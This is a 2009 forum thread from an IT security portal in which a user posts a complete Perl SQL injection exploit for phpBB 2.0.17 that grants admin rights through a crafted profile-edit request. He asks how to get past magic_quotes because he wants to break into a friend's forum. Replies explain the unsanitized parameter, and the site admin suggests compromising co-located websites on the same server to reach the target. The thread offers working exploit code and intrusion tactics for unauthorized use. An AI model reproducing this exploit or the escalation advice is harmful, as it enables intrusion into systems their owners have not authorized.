Waraxe IT Security Portal
Login or Register
November 18, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 70
Members: 0
Total: 70
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Newbies corner -> phpBB 2.0.17 - any way to hack with magic quotes on?
Post new topicReply to topic View previous topic :: View next topic
phpBB 2.0.17 - any way to hack with magic quotes on?
PostPosted: Sat Jun 20, 2009 10:08 pm Reply with quote
12dollar
Beginner
Beginner
Joined: Jun 21, 2009
Posts: 4




Hi guys ...

I used the sql injection exploit:


Code:

#!/usr/bin/perl

# Exploit for sql injection in phpbb <=2.0.17
# It works with php5, with register_globals on and magic_quotes_gpc off
# Author: Eax (eax@cc-team.org)


use strict;
use LWP::UserAgent;
use Digest::MD5 'md5_hex';

if (@ARGV<6){
print "Usage $0 host path your_id your_password your_email your_username\n";
print "example: $0 target.org /phpbb/ 10 blebleble ble\@ble.pl ble\n\n";
exit;
}

my $host = $ARGV[0];
my $path = $ARGV[1];
my $userid = $ARGV[2];
my $passwd = $ARGV[3];
my $mail = $ARGV[4];
my $username = $ARGV[5];

$passwd = md5_hex($passwd);

my $cookie_string = "phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%2
2".$passwd."%22%3Bs%3A6%3A%22userid%22%3Bi%3A".$userid."%3B%7D";

my $browser = LWP::UserAgent->new ();
$browser->default_header(Cookie=>$cookie_string);

my $address = 'http://'.$host.$path.'profile.php';
my $response = $browser->post($address, [ "username" => $username, "email" => $mail,
"mode"=>'editprofile', "agreed"=>'true', "coppa"=>'0', "user_id"=>$userid, "
current_email"=>$mail, "submit"=>"Submit", 'GLOBALS[signature_bbcode_uid]'=>"', u
ser_level='1"]);

print "if everything was ok you should have admin rights now Smile\n";


As i thought ... magic_quotes is on ... is there any way to exploit it? As far as i know there's the small chance with %2527 ... but hell .... i don't really know how to do it Very Happy

And no .. i'm not a Script Kiddy or anything else .. i just wanted to scare a friend of mine after i got admin rights Very Happy

So long 12$

Thanks in advance Smile
View user's profile Send private message
Re: phpBB 2.0.17 - any way to hack with magic quotes on?
PostPosted: Sat Jun 20, 2009 10:50 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




12dollar wrote:

And no .. i'm not a Script Kiddy or anything else .. i just wanted to scare a friend of mine after i got admin rights Very Happy


But you are a script kiddy Neutral You are using milw0rm exploits lol
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Sat Jun 20, 2009 11:01 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Code:

', user_level='1


Yes, definitely "magic_quotes_gpc=off" is needed. Phpbb developers forgot to sanitize specific parameter in INSERT query, but with "magic_quotes_gpc=on" php will do it anyway Smile


Last edited by waraxe on Sat Jun 20, 2009 11:16 pm; edited 2 times in total
View user's profile Send private message Send e-mail Visit poster's website
Re: phpBB 2.0.17 - any way to hack with magic quotes on?
PostPosted: Sat Jun 20, 2009 11:06 pm Reply with quote
12dollar
Beginner
Beginner
Joined: Jun 21, 2009
Posts: 4




capt wrote:
12dollar wrote:

And no .. i'm not a Script Kiddy or anything else .. i just wanted to scare a friend of mine after i got admin rights Very Happy


But you are a script kiddy Neutral You are using milw0rm exploits lol


well .. it's kinda true ... but i'm not going to use it randomly Smile i just want to scare him once, that should be enough Smile

@ Waraxe: i didn't really get your statement ... hell it's 1 a.m. ... i think i should read your posts after i got some sleep .. or i'm just too stupid Very Happy



edit: welll i'm finally awake Very Happy is there any way now to bypass magic quotes? hell .. i'm kinda greedy Very Happy
View user's profile Send private message
PostPosted: Mon Jun 22, 2009 9:52 am Reply with quote
12dollar
Beginner
Beginner
Joined: Jun 21, 2009
Posts: 4




? any ideas left?
View user's profile Send private message
PostPosted: Mon Jun 22, 2009 10:16 am Reply with quote
gibbocool
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208




Probably not possible with that exploit

_________________
http://www.gibbocool.com
View user's profile Send private message Visit poster's website
PostPosted: Mon Jun 22, 2009 12:05 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




I agree with gibbocool - you need to look for other ways into the target system. As always, my suggestion is searching for possible co-located websites on same server. If you can find exploitable vulnerability in one of them, then further attack escalation - towards main target - may be possible.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Mon Jun 22, 2009 6:12 pm Reply with quote
12dollar
Beginner
Beginner
Joined: Jun 21, 2009
Posts: 4




thanks a lot Smile
View user's profile Send private message
phpBB 2.0.17 - any way to hack with magic quotes on?
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.055 Seconds